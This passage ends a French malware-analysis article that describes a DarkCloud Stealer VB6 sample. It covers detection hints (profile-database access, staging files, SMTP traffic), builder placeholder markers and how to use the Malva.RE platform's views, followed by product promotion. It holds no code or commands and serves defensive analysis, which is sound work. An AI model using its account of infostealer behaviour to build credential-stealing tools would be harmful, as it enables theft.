@GateUrl, @StrBotToken, @ChatIDMarqueurs de builder ; pas des IOC réseau opérationnels

Pour rechercher des comportements apparentés, un analyste peut corréler un programme VB6 inattendu, l’accès à des bases de profils, la création de fichiers de staging et des communications SMTP. Aucune de ces caractéristiques, prise seule, n’est exclusive à DarkCloud.

Les noms d’API crypto, les schémas CDO et les domaines de services légitimes ne doivent pas devenir automatiquement des IOC malveillants. L’état de la branche, la valeur effective des paramètres et leur provenance donnent le contexte nécessaire.

14. Explorer le cas

La vue de configuration Module7.proc_46CD10 permet de suivre les quatre branches de transport et la différence entre paramètres renseignés et marqueurs du builder.

La vue Form1 permet de partir des événements du formulaire pour remonter vers l’initialisation et les routines de collecte.

Le rapport Malva.RE de cet échantillon présente les sources reconstruites et la configuration lue dans le code, telles qu’elles apparaissent à l’analyste. C’est le point de départ le plus direct pour refaire la lecture proposée ici.

La page de la famille DarkCloud Stealer sur Malva.RE regroupe l’ensemble des échantillons de cette famille analysés par la plateforme. Elle permet de confronter la configuration lue ici à celle d’autres builds et de vérifier, cas par cas, quel transport est réellement activé.

Pour un analyste consultant un rapport Malva.RE, l’intérêt de l’accès à la décompilation est de pouvoir confronter les résultats au comportement décrit par les procédures. Le point décisif reste la traçabilité : quelle routine collecte les données, quelle condition autorise l’envoi et quels arguments désignent sa destination.

Références

Essayez Malva.RE sur un vrai échantillon

Extraction rapide et précise des configurations malware

  • Analyse statique en moins de 10 secondes
  • Déobfuscation VBA, PowerShell et AutoIt (offres payantes)
  • Rapports pensés pour analystes SOC et analystes malware

Offre gratuite : soumissions et rapports publics. Privés dès l'offre Essential.

Tags : DarkCloud VBReFormer VBReFormer Gen 2 Visual Basic 6 VB5 VB6 YARA Analyse Statique Extraction De Configuration
// Conçue en Savoie

Conçue et développée en Savoie par Yneos

Malva.RE est éditée par Yneos, société française de cybersécurité et de développement de logiciels sécurisés, basée à Savoie Technolac (Le Bourget-du-Lac, France).

Découvrir Yneos →

// Malva.RE

Essayez Malva.RE sur un vrai échantillon

Comprenez la structure et le comportement des malwares sans exécution

Essayer gratuitement

Offre gratuite : rapports publics

Demander une démo →